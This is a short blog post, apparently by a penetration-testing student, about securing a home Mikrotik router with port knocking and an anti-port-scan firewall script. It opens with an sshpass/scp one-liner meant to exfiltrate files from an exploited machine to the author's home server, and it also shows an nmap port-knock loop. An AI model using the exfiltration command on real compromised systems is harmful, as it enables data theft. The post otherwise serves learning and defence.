Mikrotik Firewall Security
As I continue to work towards my pentest+ certification I am continually making scripts along the way and improving security. I first started working on a way to exfiltrate data if I exploited a machine. I want to easily send data to a command and control center if you will. The one-liner I came up with (I love one-liners!) is
sshpass -p SCP_PASSWORD scp -P 22222 file.txt scpuser@HOME_PUBLIC_IP:/home/scpuser. This command uses sshpass to pass off my pass when trying to authenticate the scp command, I use -P 222222 because for the port I am using, file.txt is the file to be uploaded to the destination server, HOME_PUBLIC_IP is my home IP address where the server runs. I know using sshpass and using the password is not very secure so I made sure to lock down the user account and made sure I can only upload data. I know what you are thinking Isn’t this extremely insecure?. It is so I added some additional security features. I used this Mikrotik article to configure port knocking. I used the nmap command given in the article to open the port (Actually adding me to a allowed list)
for x in 9000 9001 22222; do nmap -Pn --max-retries 0 -p $x $PUBLIC_HOME_IP; done
The command above performs a port knock on 9000, 9001, and 22222. I am using an environment variable to mask my public IP
I can now SSH to my machine or send a file via SCP.
In the video above you can see I attempt to SSH and am unable. I then perform a port knock and am granted access.
This got me thinking more about security when creating the port knocking scheme. Couldn’t you theoretically perform a port scan on my home IP and have the same desired affect? This lead me to the Mikrotik Basic universal firewall script. This script has a ton of cool features including blocking port scanning. Now if you perform a port scan on me you are added to a naughty list and all traffic is dropped…